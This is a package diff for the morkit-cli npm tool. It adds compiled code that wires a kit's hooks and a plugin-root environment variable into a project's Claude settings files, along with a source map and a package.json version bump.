* This also fires for a project installed before the lockfile recorded hooks at
|
|
349
|
+
* all, which is the same situation from the code's point of view: an entry that
|
|
350
|
+
* looks like ours with no record saying so.
|
|
351
|
+
*/
|
|
352
|
+
export function findHandEdited(settings, kit, owned) {
|
|
353
|
+
const ownedSet = new Set(owned);
|
|
354
|
+
const root = pluginRootToken(kit);
|
|
355
|
+
const hooks = settings.hooks;
|
|
356
|
+
if (typeof hooks !== "object" || hooks === null || Array.isArray(hooks))
|
|
357
|
+
return [];
|
|
358
|
+
const out = [];
|
|
359
|
+
for (const [event, groups] of Object.entries(hooks)) {
|
|
360
|
+
if (!Array.isArray(groups))
|
|
361
|
+
continue;
|
|
362
|
+
for (const group of groups) {
|
|
363
|
+
// Bỏ qua êm chứ KHÔNG throw — cố ý, và khác gợi ý của review. Hàm này là
|
|
364
|
+
// bộ PHÁT HIỆN, không phải bộ kiểm cấu trúc, và `wireHooks` gọi nó ngay
|
|
365
|
+
// trước `mergeHooks` — nơi throw kèm tên event. Throw ở cả hai chỗ chỉ
|
|
366
|
+
// nhân đôi cùng một luật ở hai nơi để rồi lệch nhau.
|
|
367
|
+
if (!Array.isArray(group?.hooks))
|
|
368
|
+
continue;
|
|
369
|
+
for (const entry of group.hooks) {
|
|
370
|
+
const command = entry?.command;
|
|
371
|
+
if (typeof command !== "string")
|
|
372
|
+
continue;
|
|
373
|
+
if (!pointsInsideKit(command, root) || ownedSet.has(command))
|
|
374
|
+
continue;
|
|
375
|
+
out.push({
|
|
376
|
+
event,
|
|
377
|
+
command,
|
|
378
|
+
reason: "points into this kit but is not in the lockfile — kept, not replaced",
|
|
379
|
+
});
|
|
380
|
+
}
|
|
381
|
+
}
|
|
382
|
+
}
|
|
383
|
+
return out;
|
|
384
|
+
}
|
|
385
|
+
/** A kit that ships no hooks.json wires nothing. */
|
|
386
|
+
export const EMPTY_WIRING = { hooks: {}, commands: [], skipped: [] };
|
|
387
|
+
/**
|
|
388
|
+
* Write a planned wiring into the project. Idempotent: the second run writes
|
|
389
|
+
* only if the resulting JSON differs, so it is safe to call on every install and
|
|
390
|
+
* it self-heals a project whose settings file lost the entries.
|
|
391
|
+
*
|
|
392
|
+
* Planning is separate (`planHookWiring`, pure) because the caller needs the
|
|
393
|
+
* command list to decide whether the install is already up to date — before any
|
|
394
|
+
* disk write happens.
|
|
395
|
+
*
|
|
396
|
+
* `ownedBefore` comes from the lockfile so a kit that drops or renames a hook
|
|
397
|
+
* leaves nothing stale behind.
|
|
398
|
+
*/
|
|
399
|
+
export function wireHooks(opts) {
|
|
400
|
+
const dir = path.resolve(opts.dir);
|
|
401
|
+
const { wiring } = opts;
|
|
402
|
+
const changed = [];
|
|
403
|
+
const file = settingsPath(dir);
|
|
404
|
+
const before = readJsonFile(file);
|
|
405
|
+
const conflicts = findHandEdited(before, opts.kit, opts.ownedBefore ?? []);
|
|
406
|
+
const after = mergeHooks(before, wiring, opts.ownedBefore ?? []);
|
|
407
|
+
if (JSON.stringify(before) !== JSON.stringify(after)) {
|
|
408
|
+
writeJsonFile(file, after);
|
|
409
|
+
changed.push(path.relative(dir, file));
|
|
410
|
+
}
|
|
411
|
+
// The absolute plugin root, written whether or not the kit ships hooks: the
|
|
412
|
+
// kit's commands, skills and scripts read MORKIT_PLUGIN_ROOT /
|
|
413
|
+
// CLAUDE_PLUGIN_ROOT too, and neither is set when there is no plugin runtime.
|
|
414
|
+
//
|
|
415
|
+
// Local file only, and the reason is not taste. `env` values do not expand
|
|
416
|
+
// variables (measured), so this value has to be an absolute path — and the
|
|
417
|
+
// project's README tells people to commit `.claude/`, so an absolute path
|
|
418
|
+
// sitting in the shared file would land in every teammate's clone pointing at
|
|
419
|
+
// one machine's home directory. `ensureLocalIgnored` keeps that from happening.
|
|
420
|
+
const localFile = localSettingsPath(dir);
|
|
421
|
+
const localBefore = readJsonFile(localFile);
|
|
422
|
+
// `readJsonFile` only guarantees the ROOT is an object. A hand-edited
|
|
423
|
+
// `"env": "something"` would spread into {"0":"s","1":"o",…} and get written
|
|
424
|
+
// back to disk as that garbage, silently. Same stance as readJsonFile: refuse
|
|
425
|
+
// rather than clobber, and name the file so it is fixable.
|
|
426
|
+
const prevEnv = localBefore.env ?? {};
|
|
427
|
+
if (typeof prevEnv !== "object" || prevEnv === null || Array.isArray(prevEnv)) {
|
|
428
|
+
throw new Error(`${localFile}: "env" must be a JSON object, found ${typeof prevEnv}.`);
|
|
429
|
+
}
|
|
430
|
+
const env = { ...prevEnv };
|
|
431
|
+
// ONLY the morkit-specific name. `CLAUDE_PLUGIN_ROOT` is a SHARED namespace
|
|
432
|
+
// and must not be set session-wide — measured, after an earlier version of
|
|
433
|
+
// this code did set it:
|
|
434
|
+
//
|
|
435
|
+
// - Claude Code does override it per plugin component, but only for plugin
|
|
436
|
+
// HOOKS. A plugin's skill or command is instruction text telling the agent
|
|
437
|
+
// to run `bash "${CLAUDE_PLUGIN_ROOT}/…"`, and the Bash tool sees this
|
|
438
|
+
// session `env` — measured directly by dumping the tool's environment.
|
|
439
|
+
// - 61 files across the plugins installed on one real machine (superpowers,
|
|
440
|
+
// ecc, claude-security, code-modernization, hookify) read that variable.
|
|
441
|
+
//
|
|
442
|
+
// So setting it here would silently point every one of those plugins at
|
|
443
|
+
// morkit's kit directory. Fixing morkit's own 44 bare `${CLAUDE_PLUGIN_ROOT}`
|
|
444
|
+
// references to the fallback form the other 28 already use is the correct end
|
|
445
|
+
// to fix; poisoning a shared variable for the whole session is not.
|
|
446
|
+
env.MORKIT_PLUGIN_ROOT = pluginRootPath(dir, opts.kit);
|
|
447
|
+
const localAfter = { ...localBefore, env };
|
|
448
|
+
if (JSON.stringify(localBefore) !== JSON.stringify(localAfter)) {
|
|
449
|
+
writeJsonFile(localFile, localAfter);
|
|
450
|
+
changed.push(path.relative(dir, localFile));
|
|
451
|
+
}
|
|
452
|
+
if (ensureLocalIgnored(dir))
|
|
453
|
+
changed.push(path.join(".claude", ".gitignore"));
|
|
454
|
+
return { commands: wiring.commands, skipped: wiring.skipped, changed, conflicts };
|
|
455
|
+
}
|
|
456
|
+
//# sourceMappingURL=settings.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"settings.js","sourceRoot":"","sources":["../../src/lib/settings.ts"],"names":[],"mappings":"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"}
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@mhd1999/morkit-cli",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "Install the private morkit kit (skills, commands, agents) into a project's .claude/ directory from SkillHub. Ships no kit content
|
|
3
|
+
"version": "0.2.0",
|
|
4
|
+
"description": "Install the private morkit kit (skills, commands, agents) into a project's .claude/ directory from SkillHub. Ships no kit content \u2014 downloads it with your personal access token.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"license": "Apache-2.0",
|
|
7
7
|
"repository": {
|
|
@@ -21,6 +21,7 @@
|
|
|
21
21
|
],
|
|
22
22
|
"scripts": {
|
|
23
23
|
"build": "tsc",
|
|
24
|
+
"prepublishOnly": "npm run clean && npm run build && npm test",
|
|
24
25
|
"dev": "tsx src/index.ts",
|
|
25
26
|
"clean": "rm -rf dist",
|
|
26
27
|
"test": "node --import tsx --test tests/*.test.ts"
|